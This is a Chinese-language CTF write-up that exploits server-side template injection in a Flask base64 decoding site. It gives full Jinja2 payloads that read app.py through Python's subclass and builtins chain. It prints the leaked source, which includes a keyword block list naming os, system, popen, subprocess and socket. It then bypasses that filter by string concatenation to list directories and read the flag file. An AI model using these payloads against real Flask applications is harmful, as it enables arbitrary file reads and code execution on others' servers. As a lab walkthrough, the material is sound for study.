2021-08-03

知识点：

FLASK SSTI

ssti绕过

pin生成

题目已经提示是flask，直接找一下好注入的地方看看。

页面很简洁，就是一个base64加解密的站点。

输入框应该就是ssti的注入点，不是加密就是解密输入框。

但是一般来说加密框把数据加密，就不会执行代码了，所以应该可以注入的点在解密框。简单的测试一下，输入{{7+7}}，加密结果如下。将其解密。

有计算结果出现。说明确实存在ssti注入可用，接下来尝试读取源码来明确具体的waf。

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}
{% endif %}
{% endfor %}

 上面的代码可以把源码读出，把上面的代码放到一行。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}

_=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}

下面的代码经过了htmldecode。

 
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
 
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
 
class NameForm(FlaskForm):
    text = StringField('BASE64加密',validators= [DataRequired()])
    submit = SubmitField('提交')
class NameForm1(FlaskForm):
    text = StringField('BASE64解密',validators= [DataRequired()])
    submit = SubmitField('提交')
 
def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1
 
 
@app.route('/hint',methods=['GET'])
def hint():
    txt = "失败乃成功之母！！"
    return render_template("hint.html",txt = txt)
 
 
@app.route('/',methods=['POST','GET'])
def encode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果  :{0}".format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))
 
    else :
        text = ""
        form = NameForm(text)
        return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
 
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 ： {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for('decode'))
 
    else :
        text = ""
        form = NameForm1(text)
        return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
 
 
@app.route('/<name>',methods=['GET'])
def not_found(name):
    return render_template("404.html",name = name)
 
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)

 可以看到waf过滤的敏感词。我们下面使用listdir方法查看当前目录下的文件。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

接下来读取flag。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}